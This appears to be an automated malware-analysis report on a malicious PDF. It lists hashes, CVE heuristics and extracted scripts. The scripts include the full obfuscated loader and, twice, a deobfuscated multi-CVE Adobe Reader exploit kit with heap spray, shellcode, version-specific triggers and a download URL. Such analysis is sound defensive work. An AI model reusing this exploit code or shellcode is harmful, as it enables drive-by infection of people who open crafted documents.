Malicious PDF — malware analysis report

Static analysis result for SHA-256 90f642d12f1ecc87…

MALICIOUS

PDF

12.4 KB First seen: 2013-02-25
MD5: b6a6dd50bb4aa32d87085fc0fee230cb SHA-1: 59f28f3ea411fc3053316701823237044ed063f5 SHA-256: 90f642d12f1ecc870e2083e3741000a6d092c96dbc478a0a028df04564cbf49e
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute arbitrary code. The JavaScript stream is likely responsible for the malicious behavior, potentially downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://skullsmod.com/eli/load.php?spl=pdf_2010 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2C3D 655 bytes
SHA-256: d69d0145c9a32dfd0e1fe4743fa478e2d6eb46dd53e83e9e96faea3e775f482d
Preview script
First 1,000 lines of the extracted script
var j='get';
j+='Page';
var basic="4d%4df";
var u='';
var uW=[3,2][1];
var dW=Function;
var y=app;
y=y['doc'];

function e(){
var q='u';
q+='ne';
q+='sca';
q+='pe';
return q;
}

var i=j;
i+='NthWord';
var alpha=170;

var google=j;
google+='NumWords';

var g="cape";

var x=[0,1][0];
var w='cha';
w+='rCode';
w+='At';
var basicU='fr';
basicU+='omCharC';
basicU+='ode';
basic=basic.substr(2,1);
alphaZ=y[e()];

new dW(f(2, alpha))();

function f(yS, alpha){

var yAlpha=y[google](2);
    for(var b=0; b < yAlpha; b++){
qD=y[i](yS, b);
var alphaX=qD.substr(qD.length-uW, uW);
var gY=alphaZ(basic + alphaX)[w](x);
u+=String[basicU](gY^alpha);
}
return u;
}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3541 bytes
SHA-256: cdaf0f20a2255e07ff57034767c827281fe4f78aa5190ca76ffd19a20ee99371
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://skullsmod.com/eli/load.php?spl=pdf_2010 */
var _u="http://skullsmod.com/eli/load.php?spl=pdf_2010";
G @ GpGDDGDpGtGGpGtdpGtGdGtDUdDdGGtpGGtGtD D`dtd d  d td dGUd  `tGGdtddtDtGtDAAdDAAdGddddGd ddd``
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "q=Vg2v%5B6YrO?cHDK1mf:3MRyu/oNGUhAsit0dl-Xap7kLewxzJb94QISn.8j0F&WE_ZCTP";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();
GGGGGtG GG GtG GdddGdGdt`dtddGD ddGdGDdd`dGdGDdG` DdDd` t` t` tDdGDDdG` t`G G G``  `    ``t_ϸ
page_word_xor_stage_000.js deobfuscated-js page-word hex-tail XOR decoded JavaScript (decompressed, key=0xAA) at offset 0x1055 3213 bytes
SHA-256: 0ce3afe7664f0bcc7fa7e500c1e5e91d34f3a251d6629d809ec931f364e4ff6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "q=Vg2v%5B6YrO?cHDK1mf:3MRyu/oNGUhAsit0dl-Xap7kLewxzJb94QISn.8j0F&WE_ZCTP";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

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